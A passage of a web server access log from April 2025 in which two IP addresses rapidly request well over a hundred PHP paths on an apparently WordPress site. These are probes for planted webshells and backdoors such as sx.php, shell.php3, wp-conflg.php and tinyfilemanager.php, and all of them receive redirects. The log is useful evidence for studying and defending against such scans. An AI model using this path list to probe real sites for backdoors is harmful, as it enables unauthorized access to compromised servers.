/wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:52 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:52 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:53 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:53 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:53 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:53 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:53 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:54 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:54 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:54 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:55 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:55 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:55 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:56 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:56 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:57 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:57 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:57 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:57 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:57 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:57 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:58 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:58 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:59 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:59 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:59 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:59 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:59 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:59 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:00 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:00 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:01 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:01 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:01 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:01 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:01 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:02 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:02 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:02 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:03 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:03 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:03 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:03 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:03 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:03 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:03 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:03 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:03 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:04 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:04 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:04 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:04 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:04 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:04 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:04 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:05 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:05 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:05 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:05 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:05 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:05 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:05 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:05 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:05 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:06 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:06 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:06 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:06 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:06 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:06 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:06 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:06 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:07 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:07 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:07 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:07 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:08 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:08 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:08 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:08 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:08 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:08 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:08 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:08 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:08 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:08 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:09 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:09 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:09 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:40:09 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:09 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:09 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:09 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:10 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:10 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:10 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:10 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:10 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:11 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:11 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:11 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:11 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:12 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:12 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:12 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:12 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:12 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:13 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:13 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:13 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:13 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:14 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:14 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:14 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:14 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:14 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:15 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:16 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:16 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:16 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:16 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:17 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:17 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:17 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:40:17 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - 